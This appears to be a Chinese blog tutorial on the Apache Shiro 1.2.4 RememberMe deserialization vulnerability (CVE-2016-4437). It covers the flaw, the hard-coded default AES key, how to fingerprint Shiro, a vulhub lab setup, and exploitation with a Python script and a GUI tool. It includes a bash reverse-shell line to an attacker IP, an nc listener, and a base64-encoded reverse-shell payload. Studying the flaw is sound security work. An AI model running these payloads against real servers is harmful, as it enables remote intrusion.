Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )
目录
一. 漏洞描述
二. 影响版本
三. shiro特征
四. 如何判断网站是否使用shiro
五. 漏洞环境搭建
六. 漏洞利用
shiro_exploit.py
jar工具
七. 记一次Shiro实战(目标不出网)
一. 漏洞描述
Apache Shiro 1.2.4 反序列化漏洞即shiro-550反序列化漏洞。Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。
工 作 原 理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
Shiro记住用户会话功能的逻辑为:
获取RememberMe的值 —> Base64解密 —> ASE解密 –> 反序列化
在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。
漏 洞 原 理
因为在反序列化时,不会对其进行过滤,所以如果传入恶意代码将会造成安全问题
在 1.2.4 版本前,是默认ASE秘钥,Key: kPH+bIxk5D2deZiIxcaaaA==,可以直接反序列化执行恶意代码。而在1.2.4之后,ASE秘钥就不为默认了,需要获取到Key才可以进行渗透
漏洞特征: shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段
二. 影响版本
- Apache Shiro <=1.2.4
三. shiro特征
- 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
- 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
- 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
- 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
四. 如何判断网站是否使用shiro
1. 找到网站登录的地方,随便输入账号密码抓包(一定要输入点击登录),看返回包是否有remembeMe字段
2. 如果以上么有返回remembeMe字段还可以尝试在请求包中的cookie中加入 rememberMe=1 ,来查看返回包是否有rememberMe=deleteMe字段。如果cookie字段有值则先清空
如我们直接访问登录的页面不进行登录,此时返回的数据包是没有remember字段的
这时,我们手动加上一个cookie:rememberMe=1,注意cookie要放在Upgrade的上面,则返回了remember字段。说明使用了shiro框架
五. 漏洞环境搭建
使用vulhub进行环境搭建,cd shiro,执行docker-compose up -d启动漏洞环境
访问8080,如下环境搭建成功
六. 漏洞利用
手工检测出了使用了shiro框架后就开始验证是否存在漏洞了如果存在则进行漏洞利用,这里漏洞检测和利用的方式有两种,一种是使用python脚本进行验证。第二种方式是使用jar工具进行验证
shiro_exploit.py
- 脚本下载地址:https://github.com/insightglacier/Shiro_exploit
- 基于python3,jdk1.8
1. 检测是否存在漏洞
首先去dnslog平台获取一个子域 -》DNSLog Platform
python shiro_exploit.py -t 3 -u 目标地址 -p "ping -c 2 dnslog"
查看dnslog平台,如下,说明漏洞存在
2. 执行反弹shell
(1)加密反弹shell语句
这里反弹shell的命令需要进行加密才能执行,加密网站:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T
bash -i >& /dev/tcp/攻击机ip/监听的端口 0>&1
进行加密
(2)vps开启监听
nc -lvp 6666
(3)执行反弹语句
python shiro_exploit.py -t 3 -u 目标ip -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcxxxxxxxuODguMTYyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
(4)接收反弹shell
jar工具
相较于上面的python脚本,图形化工具操作起来更加的简单
工具下载地址:https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/tag/v2.51
1. 输入测试的URL ,点击下一步
2. 选择检测方式
有时候ceye.io方式检测不出来说不存在反序列化漏洞,则选择dnslog方式测一下
3. 然后点击下一步
判断是否存在漏洞
程序在判断目标应用是否存在漏洞时,窗口上部的输入框无法进行输入。
当程序检测出目标应用存在漏洞时,输入框可以进行输入并执行命令。
可以输入命令说明存在漏洞,输入id
4. 反弹shell(目标可以出网的前提下)
vps开启监听,选择反弹shell
5. 成功反弹shell
七. 记一次Shiro实战(目标不出网)
传送门-》记一次Shiro实战(目标不出网)
Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )相关推荐
- Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)
目录 1.Apache Shiro简介 2.漏洞原理 关键因素: 漏洞分析: 漏洞特征: 3.影响版本 4.漏洞复现 任意命令执行 GETSHELL 防御措施 1.Apache Shiro简介 Apa ...
- shiro反序列化工具_Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)源码解析
Apache Shiro Apache Shiro是一个功能强大且灵活的开源安全框架,主要功能包括用户认证.授权.会话管理以及加密.在了解该漏洞之前,建议学习下Apache Shiro是怎么使用. d ...
- Shiro的Java原生反序列化漏洞
参考: http://www.lmxspace.com/2019/10/17/Shiro-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%AE%B0%E5%BD%95/ ...
- Apache Shiro Padding Oracle Attack (Shiro-721)漏洞复现
Apache Shiro Padding Oracle Attack (Shiro-721)漏洞复现 环境搭建 安装git 使用dockerfile 启动docker 获取dockerfile 查看是 ...
- shiro反序列化漏洞学习(工具+原理+复现)
工具准备 1.java8 C:\Program Files\Java 2.冰蝎 C:\Users\ali\Desktop\tools\Behinder_v4.0.6 3.shiro反序列化 图形化工具 ...
- 经典的Shiro反序列化漏洞分析
更多黑客技能 公众号:小道黑客 作者:掌控安全-holic 0x01.前言 相信大家总是面试会问到java反序列化,或者会问到标志性的漏洞,比如shiro反序列化,或者weblogic反序列化漏洞. ...
- java反序列化漏洞的一些gadget
目录 0x00 URLDNS 0x01 Commons Collections 0x02 RMI的codebase任意代码执行 0x03 JNDI 0x04 LDAP 0x05 JDK7u21 首先说 ...
- Apache Shiro<=1.2.4反序列化RCE漏洞
版本:Apache Shiro<=1.2.4 介绍:Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 漏洞原因:因为shiro对cookie里的r ...
- Apache Shiro RememberMe 1.2.4 反序列化过程命令执行漏洞【原理扫描】
文章目录 一.分析定位 1. 漏洞描述 2. 项目引发漏洞简述 二. 若依系统 2.1. 版本升级 2.2. 配置文件 2.3. 推荐做法 2.4. 栗子 2.5. 项目场景 三.Gus系统 3.1. ...
- Apache Shiro Java 反序列化漏洞分析
Shiro概述 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Security和Sh ...
最新文章
- MindSpore图像分类模型支持(Lite)
- 听说你用JavaScript写代码?本文是你的机器学习指南
- HP380G7服务器安装fedaro16的问题解决
- 华为路由器qos car+nat+dhcp+vlan配置心得
- bzoj1070: [SCOI2007]修车
- php padright,[扩展推荐] PHP 字符串操作类 Twine
- Display Substring
- java二次指数平滑法预测未来的值
- yml配置mysql自动重连_数据库和Doctrine(转载自http://www111cnnet/phper/332/85987htm) - Doctrine...
- I00038 自守数(Automorphic number)
- 深度学习2.0-10.tensorflow的高阶操作之张量的限幅
- android 基础布局
- 【ES6-阮一峰博客阅读笔记】
- Bazinga 题解
- Android自定义进度条拖动,Android之ProgressBar(进度条)和SeekBar(拖动条)
- 用python画爱心写一句话_python中用turtle画爱心表白
- 充电桩测试设备TK4860C交流充电桩检定装置
- 太牛了,国人纯手工自制CPU,耗时半年,用了3000多个晶体管
- 积累的VC编程小技巧之打印相关
- 中国最大–深圳企业列表
热门文章
- 小游戏上传分数是怎么实现的_如何利用微信小游戏做公众号吸粉营销活动
- Mac Mini 安装Ubuntu20.04 KVM
- ps html 优化,PS基线基线已优化连续的区别是什么?
- 数据倾斜的原因及解决方案
- 一套成熟的BPM系统应该有的功能
- 开源机器人库orocos KDL 学习笔记(三):Kinematric Chain
- 泰拉瑞亚服务器config修改,泰拉瑞亚配置修改方法详解 泰拉瑞亚怎么修改游戏配置 Config文件-游侠网...
- windows10的etc路径下没有hosts文件
- 互联网思维之简约思维
- Android蓝牙自动配对Demo,亲测好使!!!